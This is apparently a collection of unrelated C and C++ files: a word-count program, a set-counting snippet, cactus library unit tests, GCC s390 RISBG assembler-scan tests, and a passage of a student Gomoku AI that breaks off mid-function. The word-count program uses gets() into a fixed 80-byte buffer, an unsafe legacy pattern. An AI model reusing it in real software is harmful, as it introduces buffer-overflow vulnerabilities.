p2p_log_msg("%s(): IP: %s\n", __FUNCTION__, buf); ret= pclose(fp); if (ret) { p2p_log_msg("%s():Command not found or exited with error status, %d\n", __FUNCTION__, ret); return ret; } return ret; }
C
# include "misc.h" void main(void) { FILE *fp; int boo,count,c,i,inWord; char filename[80], ynq; ynq='a'; inWord=0; while(ynq != 'n') { for(i=0;i<=79;i++) filename[i]='\0'; boo=1; ynq='a'; count=0; printf("Hello!\n\n"); printf("Enter the name of the file: "); while(strlen(gets(filename)) == 0) ; printf("\nOpening file...\n\n"); if((fp=fopen(filename,"r")) == NULL) boo=0; if(boo) printf("File opened OK!\n\n"); else printf("Problem!\n\n"); if(boo) { while((c=fgetc(fp))!=EOF) if (c<33) inWord=0; else { if (inWord==0) count++; inWord=1; } printf("The file has %d word",count); if(count==1) printf(".\n\n"); else printf("s.\n\n"); } else printf("Error encountered!\n\n"); fclose(fp); while((ynq != 'y') && (ynq != 'n')) { printf("Continue? (y/n) "); ynq = getchar(); printf("\n"); } } printf("Bye!"); }
C
#include <iostream> #include<set> #include<algorithm> using namespace std; int main() { int t,n,d,i; set<int>s; cin>>t; while(t--) { cin>>n; for(i=0;i<n;i++) { cin>>d; s.insert(d); } cout<<s.size()<<endl; s.clear(); } return 0; }
C
/* * Copyright (C) 2009-2011 by Benedict Paten ([email protected]) * * Released under the MIT license, see LICENSE.txt */ #include "cactusFacesTestShared.h" static bool nestedTest = 0; void cactusFaceTestSetup(CuTest* testCase) { if (!nestedTest) { cactusFacesTestSharedSetup(testCase); } } void cactusFaceTestTeardown(CuTest* testCase) { if (!nestedTest) { cactusFacesTestSharedTeardown(testCase); } } void testFace_construct(CuTest* testCase) { nestedTest = 0; cactusFaceTestSetup(testCase); CuAssertTrue(testCase, face != NULL); cactusFaceTestTeardown(testCase); } void testFace_getCardinal(CuTest* testCase) { cactusFaceTestSetup(testCase); CuAssertTrue(testCase, face_getCardinal(face) == 4); cactusFaceTestTeardown(testCase); } void testFace_faceEndIterator(CuTest* testCase) { cactusFaceTestSetup(testCase); Face_FaceEndIterator *iterator = face_getFaceEndIterator(face); FaceEnd *faceEnd1 = face_getNextFaceEnd(iterator); CuAssertTrue(testCase, faceEnd1 != NULL); CuAssertTrue(testCase, faceEnd_getTopNode(faceEnd1) == cap_getPositiveOrientation(topCap1)); FaceEnd *faceEnd2 = face_getNextFaceEnd(iterator); CuAssertTrue(testCase, faceEnd2 != NULL); CuAssertTrue(testCase, faceEnd_getTopNode(faceEnd2) == cap_getPositiveOrientation(topCap2)); FaceEnd *faceEnd3 = face_getNextFaceEnd(iterator); CuAssertTrue(testCase, faceEnd3 != NULL); CuAssertTrue(testCase, faceEnd_getTopNode(faceEnd3) == cap_getPositiveOrientation(topCap3)); FaceEnd *faceEnd4 = face_getNextFaceEnd(iterator); CuAssertTrue(testCase, faceEnd4 != NULL); CuAssertTrue(testCase, faceEnd_getTopNode(faceEnd4) == cap_getPositiveOrientation(topCap4)); CuAssertTrue(testCase, face_getNextFaceEnd(iterator) == NULL); CuAssertTrue(testCase, face_getNextFaceEnd(iterator) == NULL); CuAssertTrue(testCase, face_getNextFaceEnd(iterator) == NULL); Face_FaceEndIterator *iterator2 = face_copyFaceEndIterator(iterator); CuAssertTrue(testCase, face_getPreviousFaceEnd(iterator) == faceEnd4); CuAssertTrue(testCase, face_getPreviousFaceEnd(iterator2) == faceEnd4); //test copied iterator face_destructFaceEndIterator(iterator2); CuAssertTrue(testCase, face_getPreviousFaceEnd(iterator) == faceEnd3); CuAssertTrue(testCase, face_getPreviousFaceEnd(iterator) == faceEnd2); CuAssertTrue(testCase, face_getPreviousFaceEnd(iterator) == faceEnd1); CuAssertTrue(testCase, face_getPreviousFaceEnd(iterator) == NULL); CuAssertTrue(testCase, face_getPreviousFaceEnd(iterator) == NULL); CuAssertTrue(testCase, face_getNextFaceEnd(iterator) == faceEnd1); face_destructFaceEndIterator(iterator); cactusFaceTestTeardown(testCase); } void testFace_getTopNode(CuTest* testCase) { cactusFaceTestSetup(testCase); CuAssertTrue(testCase, face_getTopNode(face, 0) == cap_getPositiveOrientation(topCap1)); CuAssertTrue(testCase, face_getTopNode(face, 1) == cap_getPositiveOrientation(topCap2)); CuAssertTrue(testCase, face_getTopNode(face, 2) == cap_getPositiveOrientation(topCap3)); CuAssertTrue(testCase, face_getTopNode(face, 3) == cap_getPositiveOrientation(topCap4)); cactusFaceTestTeardown(testCase); } void testFace_getDerivedDestination(CuTest* testCase) { cactusFaceTestSetup(testCase); CuAssertTrue(testCase, face_getDerivedDestinationAtIndex(face, 0, 0) == cap_getPositiveOrientation(topCap4)); CuAssertTrue(testCase, face_getDerivedDestinationAtIndex(face, 1, 0) == cap_getPositiveOrientation(topCap3)); CuAssertTrue(testCase, face_getDerivedDestinationAtIndex(face, 2, 0) == cap_getPositiveOrientation(topCap2)); CuAssertTrue(testCase, face_getDerivedDestinationAtIndex(face, 3, 0) == cap_getPositiveOrientation(topCap1)); CuAssertTrue(testCase, face_getDerivedDestination(face, 0) == cap_getPositiveOrientation(topCap4)); CuAssertTrue(testCase, face_getDerivedDestination(face, 1) == cap_getPositiveOrientation(topCap3)); CuAssertTrue(testCase, face_getDerivedDestination(face, 2) == cap_getPositiveOrientation(topCap2)); CuAssertTrue(testCase, face_getDerivedDestination(face, 3) == cap_getPositiveOrientation(topCap1)); cactusFaceTestTeardown(testCase); } void testFace_getBottomNodeNumber(CuTest* testCase) { cactusFaceTestSetup(testCase); CuAssertTrue(testCase, face_getBottomNodeNumber(face, 0) == 1); CuAssertTrue(testCase, face_getBottomNodeNumber(face, 1) == 1); CuAssertTrue(testCase, face_getBottomNodeNumber(face, 2) == 1); CuAssertTrue(testCase, face_getBottomNodeNumber(face, 3) == 1); cactusFaceTestTeardown(testCase); } void testFace_getBottomNode(CuTest* testCase) { cactusFaceTestSetup(testCase); CuAssertTrue(testCase, face_getBottomNode(face, 0, 0) == cap_getPositiveOrientation(bottomCap1)); CuAssertTrue(testCase, face_getBottomNode(face, 1, 0) == cap_getPositiveOrientation(bottomCap2)); CuAssertTrue(testCase, face_getBottomNode(face, 2, 0) == cap_getPositiveOrientation(bottomCap3)); CuAssertTrue(testCase, face_getBottomNode(face, 3, 0) == cap_getPositiveOrientation(bottomCap4)); cactusFaceTestTeardown(testCase); } CuSuite *cactusFaceTestSuite(void) { CuSuite* suite = CuSuiteNew(); SUITE_ADD_TEST(suite, testFace_getTopNode); SUITE_ADD_TEST(suite, testFace_getCardinal); SUITE_ADD_TEST(suite, testFace_faceEndIterator); SUITE_ADD_TEST(suite, testFace_getDerivedDestination); SUITE_ADD_TEST(suite, testFace_getBottomNodeNumber); SUITE_ADD_TEST(suite, testFace_getBottomNode); SUITE_ADD_TEST(suite, testFace_construct); return suite; }
C
// Test sequences that can use RISBG with a zeroed first operand. // The tests here assume that RISBLG isn't available. /* Tests ported from the Llvm testsuite. */ /* { dg-do compile { target s390x-*-* } } */ /* { dg-options "-O3 -march=z10 -mzarch -fno-asynchronous-unwind-tables" } */ #define i64 signed long long #define ui64 unsigned long long #define i32 signed int #define ui32 unsigned int #define i8 signed char #define ui8 unsigned char // Test an extraction of bit 0 from a right-shifted value. i32 f1 (i32 v_foo) { /* { dg-final { scan-assembler "f1:\n\trisbg\t%r2,%r2,64-1,128\\\+63,53\\\+1" } } */ i32 v_shr = ((ui32)v_foo) >> 10; i32 v_and = v_shr & 1; return v_and; } // ...and again with i64. i64 f2 (i64 v_foo) { /* { dg-final { scan-assembler "f2:\n\trisbg\t%r2,%r2,64-1,128\\\+63,53\\\+1" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f2:\n\trisbg\t%r3,%r3,64-1,128\\\+63,53\\\+1\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_shr = ((ui64)v_foo) >> 10; i64 v_and = v_shr & 1; return v_and; } // Test an extraction of other bits from a right-shifted value. i32 f3 (i32 v_foo) { /* { dg-final { scan-assembler "f3:\n\trisbg\t%r2,%r2,60,128\\\+61,64-22" } } */ i32 v_shr = ((ui32)v_foo) >> 22; i32 v_and = v_shr & 12; return v_and; } // ...and again with i64. i64 f4 (i64 v_foo) { /* { dg-final { scan-assembler "f4:\n\trisbg\t%r2,%r2,60,128\\\+61,64-22" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f4:\n\trisbg\t%r3,%r3,60,128\\\+61,64-22\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_shr = ((ui64)v_foo) >> 22; i64 v_and = v_shr & 12; return v_and; } // Test an extraction of most bits from a right-shifted value. // The range should be reduced to exclude the zeroed high bits. i32 f5 (i32 v_foo) { /* { dg-final { scan-assembler "f5:\n\trisbg\t%r2,%r2,34,128\\\+60,64-2" } } */ i32 v_shr = ((ui32)v_foo) >> 2; i32 v_and = v_shr & -8; return v_and; } // ...and again with i64. i64 f6 (i64 v_foo) { /* { dg-final { scan-assembler "f6:\n\trisbg\t%r2,%r2,2,128\\\+60,64-2" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f6:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\trisbg\t%r2,%r3,2,128\\\+60,64-2" { target { ! lp64 } } } } */ i64 v_shr = ((ui64)v_foo) >> 2; i64 v_and = v_shr & -8; return v_and; } // Try the next value up (mask ....1111001). This needs a separate shift // and mask. i32 f7 (i32 v_foo) { /* Should be { dg-final { scan-assembler "f7:\n\tsrl\t%r2,2\n\tnill\t%r2,65529" { xfail { lp64 } } } } but because a zeroextend is merged into the pattern it is actually { dg-final { scan-assembler "f7:\n\tsrl\t%r2,2\n\tlgfi\t%r1,1073741817\n\tngr\t%r2,%r1" { target { lp64 } } } } { dg-final { scan-assembler "f7:\n\tsrl\t%r2,2\n\tnill\t%r2,65529" { target { ! lp64 } } } } */ i32 v_shr = ((ui32)v_foo) >> 2; i32 v_and = v_shr & -7; return v_and; } // ...and again with i64. i64 f8 (i64 v_foo) { /* { dg-final { scan-assembler "f8:\n\tsrlg\t%r2,%r2,2\n\tnill\t%r2,65529" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f8:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tsrlg\t%r2,%r3,2\n\tnill\t%r2,65529" { target { ! lp64 } } } } */ i64 v_shr = ((ui64)v_foo) >> 2; i64 v_and = v_shr & -7; return v_and; } // Test an extraction of bits from a left-shifted value. The range should // be reduced to exclude the zeroed low bits. i32 f9 (i32 v_foo) { /* { dg-final { scan-assembler "f9:\n\trisbg\t%r2,%r2,56,128\\\+61,2" } } */ i32 v_shr = v_foo << 2; i32 v_and = v_shr & 255; return v_and; } // ...and again with i64. i64 f10 (i64 v_foo) { /* { dg-final { scan-assembler "f10:\n\trisbg\t%r2,%r2,56,128\\\+61,2" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f10:\n\trisbg\t%r3,%r3,56,128\\\+61,2\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_shr = v_foo << 2; i64 v_and = v_shr & 255; return v_and; } // Try a wrap-around mask (mask ....111100001111). This needs a separate shift // and mask. i32 f11 (i32 v_foo) { /* { dg-final { scan-assembler "f11:\n\tsll\t%r2,2\n\tnill\t%r2,65295" } } */ i32 v_shr = v_foo << 2; i32 v_and = v_shr & -241; return v_and; } // ...and again with i64. i64 f12 (i64 v_foo) { /* { dg-final { scan-assembler "f12:\n\tsllg\t%r2,%r2,2\n\tnill\t%r2,65295" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f12:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tsllg\t%r2,%r3,2\n\tnill\t%r2,65295" { target { ! lp64 } } } } */ i64 v_shr = v_foo << 2; i64 v_and = v_shr & -241; return v_and; } // Test an extraction from a rotated value, no mask wraparound. // This is equivalent to the lshr case, because the bits from the // shl are not used. i32 f13 (i32 v_foo) { /* { dg-final { scan-assembler "f13:\n\trisbg\t%r2,%r2,56,128\\\+60,32\\\+14" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f13:\n\trll\t%r2,%r2,14\n\tnilf\t%r2,248" { target { ! lp64 } } } } */ i32 v_parta = v_foo << 14; i32 v_partb = ((ui32)v_foo) >> 18; i32 v_rotl = v_parta | v_partb; i32 v_and = v_rotl & 248; return v_and; } // ...and again with i64. i64 f14 (i64 v_foo) { /* { dg-final { scan-assembler "f14:\n\trisbg\t%r2,%r2,56,128\\\+60,14" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f14:\n\trisbg\t%r3,%r2,56,128\\\+60,46\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_parta = v_foo << 14; i64 v_partb = ((ui64)v_foo) >> 50; i64 v_rotl = v_parta | v_partb; i64 v_and = v_rotl & 248; return v_and; } // Try a case in which only the bits from the shl are used. i32 f15 (i32 v_foo) { /* { dg-final { scan-assembler "f15:\n\trisbg\t%r2,%r2,47,128\\\+49,14" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f15:\n\trll\t%r2,%r2,14\n\tnilf\t%r2,114688" { target { ! lp64 } } } } */ i32 v_parta = v_foo << 14; i32 v_partb = ((ui32)v_foo) >> 18; i32 v_rotl = v_parta | v_partb; i32 v_and = v_rotl & 114688; return v_and; } // ...and again with i64. i64 f16 (i64 v_foo) { /* { dg-final { scan-assembler "f16:\n\trisbg\t%r2,%r2,47,128\\\+49,14" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f16:\n\trisbg\t%r3,%r3,47,128\\\+49,14\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_parta = v_foo << 14; i64 v_partb = ((ui64)v_foo) >> 50; i64 v_rotl = v_parta | v_partb; i64 v_and = v_rotl & 114688; return v_and; } // Test a 32-bit rotate in which both parts of the OR are needed. // This needs a separate shift and mask. i32 f17 (i32 v_foo) { /* Should be { dg-final { scan-assembler "f17:\n\trll\t%r2,%r2,4\n\tnilf\t%r2,126" { xfail { lp64 } } } } but because a zeroextend is merged into the pattern it is actually { dg-final { scan-assembler "f17:\n\trll\t%r2,%r2,4\n\trisbg\t%r2,%r2,57,128\\\+62,0" { target { lp64 } } } } { dg-final { scan-assembler "f17:\n\trll\t%r2,%r2,4\n\tnilf\t%r2,126" { target { ! lp64 } } } } */ i32 v_parta = v_foo << 4; i32 v_partb = ((ui32)v_foo) >> 28; i32 v_rotl = v_parta | v_partb; i32 v_and = v_rotl & 126; return v_and; } // ...and for i64, where RISBG should do the rotate too. i64 f18 (i64 v_foo) { /* { dg-final { scan-assembler "f18:\n\trisbg\t%r2,%r2,57,128\\\+62,4" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f18:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tlhi\t%r2,0\n\trisbg\t%r3,%r3,57,128\\\+62,4" { target { ! lp64 } } } } */ i64 v_parta = v_foo << 4; i64 v_partb = ((ui64)v_foo) >> 60; i64 v_rotl = v_parta | v_partb; i64 v_and = v_rotl & 126; return v_and; } // Test an arithmetic shift right in which some of the sign bits are kept. // This needs a separate shift and mask on 31 bit. i32 f19 (i32 v_foo) { /* { dg-final { scan-assembler "f19:\n\trisbg\t%r2,%r2,59,128\\+62,64-28" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f19:\n\tsra\t%r2,28\n\tnilf\t%r2,30" { target { ! lp64 } } } } */ i32 v_shr = v_foo >> 28; i32 v_and = v_shr & 30; return v_and; } // ...and again with i64. In this case RISBG is the best way of doing the AND. i64 f20 (i64 v_foo) { /* { dg-final { scan-assembler "f20:\n\tsrag\t%r2,%r2,60\n\trisbg\t%r2,%r2,59,128\\\+62,0" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f20:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tlhi\t%r2,0\n\tsrag\t%r3,%r3,60\n\tnilf\t%r3,30" { target { ! lp64 } } } } */ i64 v_shr = v_foo >> 60; i64 v_and = v_shr & 30; return v_and; } // Now try an arithmetic right shift in which the sign bits aren't needed. // Note: Unlike Llvm, Gcc replaces the ashrt with a lshrt in any case, using // a risbg pattern without ashrt. i32 f21 (i32 v_foo) { /* { dg-final { scan-assembler "f21:\n\trisbg\t%r2,%r2,60,128\\\+62,64-28" } } */ i32 v_shr = v_foo >> 28; i32 v_and = v_shr & 14; return v_and; } // ...and again with i64. i64 f22 (i64 v_foo) { /* { dg-final { scan-assembler "f22:\n\trisbg\t%r2,%r2,60,128\\\+62,64-60" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f22:\n\trisbg\t%r3,%r2,60,128\\\+62,64-28\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_shr = v_foo >> 60; i64 v_and = v_shr & 14; return v_and; } // Check that we use RISBG for shifted values even if the AND is a // natural zero extension. i64 f23 (i64 v_foo) { /* { dg-final { scan-assembler "f23:\n\trisbg\t%r2,%r2,64-8,128\\\+63,54\\\+8" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f23:\n\trisbg\t%r3,%r3,64-8,128\\\+63,54\\\+8\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_shr = ((ui64)v_foo) >> 2; i64 v_and = v_shr & 255; return v_and; } // Test a case where the AND comes before a rotate. This needs a separate // mask and rotate. i32 f24 (i32 v_foo) { /* { dg-final { scan-assembler "f24:\n\tnilf\t%r2,254\n\trll\t%r2,%r2,29\n" } } */ i32 v_and = v_foo & 254; i32 v_parta = ((ui32)v_and) >> 3; i32 v_partb = v_and << 29; i32 v_rotl = v_parta | v_partb; return v_rotl; } // ...and again with i64, where a single RISBG is enough. i64 f25 (i64 v_foo) { /* { dg-final { scan-assembler "f25:\n\trisbg\t%r2,%r2,57,128\\\+59,3" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f25:\n\trisbg\t%r3,%r3,57,128\\\+59,3\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_and = v_foo & 14; i64 v_parta = v_and << 3; i64 v_partb = ((ui64)v_and) >> 61; i64 v_rotl = v_parta | v_partb; return v_rotl; } // Test a wrap-around case in which the AND comes before a rotate. // This again needs a separate mask and rotate. i32 f26 (i32 v_foo) { /* { dg-final { scan-assembler "f26:\n\tnill\t%r2,65487\n\trll\t%r2,%r2,5" } } */ i32 v_and = v_foo & -49; i32 v_parta = v_and << 5; i32 v_partb = ((ui32)v_and) >> 27; i32 v_rotl = v_parta | v_partb; return v_rotl; } // ...and again with i64, where a single RISBG is OK. i64 f27 (i64 v_foo) { /* { dg-final { scan-assembler "f27:\n\trisbg\t%r2,%r2,55,128\\\+52,5" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f27:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\trisbg\t%r2,%r3,55,128\\\+52,5" { target { ! lp64 } } } } */ i64 v_and = v_foo & -49; i64 v_parta = v_and << 5; i64 v_partb = ((ui64)v_and) >> 59; i64 v_rotl = v_parta | v_partb; return v_rotl; } // Test a case where the AND comes before a shift left. i32 f28 (i32 v_foo) { /* { dg-final { scan-assembler "f28:\n\trisbg\t%r2,%r2,32,128\\\+45,17" } } */ i32 v_and = v_foo & 32766; i32 v_shl = v_and << 17; return v_shl; } // ...and again with i64. i64 f29 (i64 v_foo) { /* { dg-final { scan-assembler "f29:\n\trisbg\t%r2,%r2,0,128\\\+13,49" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f29:\n\trisbg\t%r\[23\],%r3,0,128\\\+13,49\n\tlr\t%r\[23\],%r\[32\]\n\tsrlg\t%r2,%r2" { target { ! lp64 } } } } */ i64 v_and = v_foo & 32766; i64 v_shl = v_and << 49; return v_shl; } // Test the next shift up from f28, in which the mask should get shortened. i32 f30 (i32 v_foo) { /* { dg-final { scan-assembler "f30:\n\trisbg\t%r2,%r2,32,128\\\+44,18" } } */ i32 v_and = v_foo & 32766; i32 v_shl = v_and << 18; return v_shl; } // ...and again with i64. i64 f31 (i64 v_foo) { /* { dg-final { scan-assembler "f31:\n\trisbg\t%r2,%r2,0,128\\\+12,50" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f31:\n\trisbg\t%r\[23\],%r3,0,128\\\+12,50\n\tlr\t%r\[23\],%r\[32\]\n\tsrlg\t%r2,%r2" { target { ! lp64 } } } } */ i64 v_and = v_foo & 32766; i64 v_shl = v_and << 50; return v_shl; } // Test a wrap-around case in which the shift left comes after the AND. // We can't use RISBG for the shift in that case. i32 f32 (i32 v_foo) { /* { dg-final { scan-assembler "f32:\n\tsll\t%r2,10\n\tnill\t%r2,58368" } } */ i32 v_and = v_foo & -7; i32 v_shl = v_and << 10; return v_shl; } // ...and again with i64. i64 f33 (i64 v_foo) { /* { dg-final { scan-assembler "f33:\n\tsllg\t%r2,%r2,10\n\tnill\t%r2,58368" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f33:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tsllg\t%r2,%r3,10\n\tnill\t%r2,58368" { target { ! lp64 } } } } */ i64 v_and = v_foo & -7; i64 v_shl = v_and << 10; return v_shl; } // Test a case where the AND comes before a shift right. i32 f34 (i32 v_foo) { /* { dg-final { scan-assembler "f34:\n\trisbg\t%r2,%r2,64-7,128\\\+63,48\\\+7" } } */ i32 v_and = v_foo & 65535; i32 v_shl = ((ui32)v_and) >> 9; return v_shl; } // ...and again with i64. i64 f35 (i64 v_foo) { /* { dg-final { scan-assembler "f35:\n\trisbg\t%r2,%r2,64-7,128\\\+63,48\\\+7" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f35:\n\trisbg\t%r3,%r3,64-7,128\\\+63,48\\\+7\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i64 v_and = v_foo & 65535; i64 v_shl = ((ui64)v_and) >> 9; return v_shl; } // Test a wrap-around case where the AND comes before a shift right. // We can't use RISBG for the shift in that case. i32 f36 (i32 v_foo) { /* { dg-final { scan-assembler "f36:\n\tsrl\t%r2,1\n\tlgfi\t%r1,2147483635\n\tngr\t%r2,%r1" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f36:\n\tsrl\t%r2,1\n\tnilf\t%r2,2147483635" { target { ! lp64 } } } } */ i32 v_and = v_foo & -25; i32 v_shl = ((ui32)v_and) >> 1; return v_shl; } // ...and again with i64. i64 f37 (i64 v_foo) { /* { dg-final { scan-assembler "f37:\n\(\t.*\n\)*\tsrlg\t%r2,%r2,1\n\tng\t%r2," { target { lp64 } } } } */ /* { dg-final { scan-assembler "f37:\n\(\t.*\n\)*\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tsrlg\t%r2,%r3,1\n\tng\t%r2," { target { ! lp64 } } } } */ i64 v_and = v_foo & -25; i64 v_shl = ((ui64)v_and) >> 1; return v_shl; } // Test a combination involving a large ASHR and a shift left. We can't // use RISBG there. i64 f38 (i64 v_foo) { /* { dg-final { scan-assembler "f38:\n\tsrag\t%r2,%r2,32\n\tsllg\t%r2,%r2,5" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f38:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tsrag\t%r2,%r3,32\n\tsllg\t%r2,%r2,5" { target { ! lp64 } } } } */ i64 v_ashr = v_foo >> 32; i64 v_shl = v_ashr << 5; return v_shl; } // Try a similar thing in which no shifted sign bits are kept. i64 f39 (i64 v_foo, i64 *v_dest) { /* { dg-final { scan-assembler "f39:\n\tsrag\t%r2,%r2,35\n\(\t.*\n\)*\trisbg\t%r2,%r2,33,128\\\+61,2" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f39:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tlhi\t%r2,0\n\tsrag\t%r3,%r3,35\n\(\t.*\n\)*\trisbg\t%r3,%r3,33,128\\\+61,2" { target { ! lp64 } } } } */ i64 v_ashr = v_foo >> 35; *v_dest = v_ashr; i64 v_shl = v_ashr << 2; i64 v_and = v_shl & 2147483647; return v_and; } // ...and again with the next highest shift value, where one sign bit is kept. i64 f40 (i64 v_foo, i64 *v_dest) { /* { dg-final { scan-assembler "f40:\n\tsrag\t%r2,%r2,36\n\(\t.*\n\)*\trisbg\t%r2,%r2,33,128\\\+61,2" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f40:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\tlhi\t%r2,0\n\tsrag\t%r3,%r3,36\n\(\t.*\n\)*\trisbg\t%r3,%r3,33,128\\\+61,2" { target { ! lp64 } } } } */ i64 v_ashr = v_foo >> 36; *v_dest = v_ashr; i64 v_shl = v_ashr << 2; i64 v_and = v_shl & 2147483647; return v_and; } // Check a case where the result is zero-extended. i64 f41 (i32 v_a) { /* { dg-final { scan-assembler "f41:\n\trisbg\t%r2,%r2,64-28,128\\\+63,34\\\+28" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f41:\n\trisbg\t%r3,%r2,64-28,128\\\+63,34\\\+28\n\tlhi\t%r2,0" { target { ! lp64 } } } } */ i32 v_shl = v_a << 2; i32 v_shr = ((ui32)v_shl) >> 4; i64 v_ext = (ui64)v_shr; return v_ext; } // In this case the sign extension is converted to a pair of 32-bit shifts, // which is then extended to 64 bits. We previously used the wrong bit size // when testing whether the shifted-in bits of the shift right were significant. typedef struct { ui64 pad : 63; ui8 a : 1; } t42; i64 f42 (t42 v_x) { /* { dg-final { scan-assembler "f42:\n\tsllg\t%r2,%r2,63\n\tsrag\t%r2,%r2,63\n\tllgcr\t%r2,%r2" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f42:\n\tsllg\t%r3,%r3,63\n\tlhi\t%r2,0\n\tsrag\t%r3,%r3,63\n\tllcr\t%r3,%r3" { target { ! lp64 } } } } */ ui8 a = v_x.a << 7; i8 ext = ((i8)a) >> 7; i64 ext2 = (ui64)(ui8)ext; return ext2; } // Check that we get the case where a 64-bit shift is used by a 32-bit and. i32 f43 (i64 v_x) { /* { dg-final { scan-assembler "f43:\n\trisbg\t%r2,%r2,32,128\\+61,32\\+20\n\tlgfr\t%r2,%r2" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f43:\n\trisbg\t%r3,%r2,0,0\\\+32-1,64-0-32\n\trisbg\t%r2,%r3,32,128\\\+61,64-12" { target { ! lp64 } } } } */ i64 v_shr3 = ((ui64)v_x) >> 12; i32 v_shr3_tr = (ui32)v_shr3; i32 v_conv = v_shr3_tr & -4; return v_conv; } // Check that we don't get the case where the 32-bit and mask is not contiguous i32 f44 (i64 v_x) { /* { dg-final { scan-assembler "f44:\n\tsrlg\t%r2,%r2,12" { target { lp64 } } } } */ /* { dg-final { scan-assembler "f44:\n\tsrlg\t%r2,%r3,12\n\tnilf\t%r2,10" { target { ! lp64 } } } } */ i64 v_shr4 = ((ui64)v_x) >> 12; i32 v_conv = (ui32)v_shr4; i32 v_and = v_conv & 10; return v_and; }
C
// Raymond Wang - University of Toronto // APS105 // Lab 7, part 2. Create best AI you can // Nov. 2013 #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <time.h> // Initialize Variables char** board; char AI, Human; int* move; int* move2; int* move3; int n, midpoint; bool depthwarning, offense; clock_t start, check; float T; typedef struct { int x; int y; } spot; // Helper Functions int max(int a, int b) { if(a < b) return b; return a; } int min(int a, int b) { if(b > a) return a; return b; } int manh_d (const void* p1, const void* p2) { int x1 = ((spot*)p1)->x; int y1 = ((spot*)p1)->y; int x2 = ((spot*)p2)->x; int y2 = ((spot*)p2)->y; int score1 = abs(x1 - midpoint) + abs(y1 - midpoint); int score2 = abs(x2 - midpoint) + abs(y2 - midpoint); if (score1 < score2) return -1; else if (score1 > score2) return 1; else return 0; } void printBoard() { //Prints the board. int row; for (row = 0; row < n; row++) printf("%s\n", board[row]); return;} bool spotCheck(int row, int col) { //Checks the entered move. If the spot is taken, returns a false bool bool check; if (board[row][col] != 'U') check = false; else check = true; return check;} void Addmove(char colour, int row, int col) { //Adds an entered move into the board board[row][col] = colour; return;} void Clearmove(int row, int col) { //Clears a move board[row][col] = 'U'; return;} int horizCount(int row, int col, char c) { //Count the sequence of horizontals int Hcount = 0; int i; //Scan right for (i=col; i < n; i++) { if (board[row][i] == c) Hcount++; else break;} //Scan left for (i=col; i >= 0; i--) { if (board[row][i] == c) Hcount++; else break;} Hcount--; return Hcount;} int Scanleft(int row, int col, char c) { int Hcount = 0; int i; //Scan left for (i=col-1; i >= 0; i--) { if (board[row][i] == c) Hcount++; else break;} return Hcount;} int Scanright(int row, int col, char c) { int Hcount = 0; int i; //Scan right for (i=col+1; i < n; i++) { if (board[row][i] == c) Hcount++; else break;} return Hcount;} int vertCount(int row, int col, char c) { //Count the sequence of verticals int Vcount = 0; int i; //Scan up for (i = row; i >= 0; i--) { if (board[i][col] == c) Vcount++; else break;} //Scan down for (i = row; i < n; i++) { if (board[i][col] == c) Vcount++; else break;} Vcount--; return Vcount;} int Scanup(int row, int col, char c) { int Vcount = 0; int i; //Scan up for (i = row-1; i >= 0; i--) { if (board[i][col] == c) Vcount++; else break;} return Vcount;} int Scandown(int row, int col, char c) { //Scan down int Vcount = 0; int i; for (i = row+1; i < n; i++) { if (board[i][col] == c) Vcount++; else break;} return Vcount;} int diag1Count(int row, int col, char c) { //Count the sequence of diagonals (Top left to bottom right) int D1count = 0; int i, j; //Scan up left for (i = row, j = col; (i >= 0)&&(j >= 0); i--, j--) { if (board[i][j] == c) D1count++; else break;} //Scan down right for (i = row, j = col; (i < n)&&(j < n); i++, j++) { if (board[i][j] == c) D1count++; else break;} D1count--; return D1count;} int diag2Count(int row, int col, char c) { //Count the sequence of right diagonals (Top right to bottom left) int D2count = 0; int i, j; //Scan up right for (i = row, j = col; (i >= 0)&&(j < n); i--, j++) { if (board[i][j] == c) 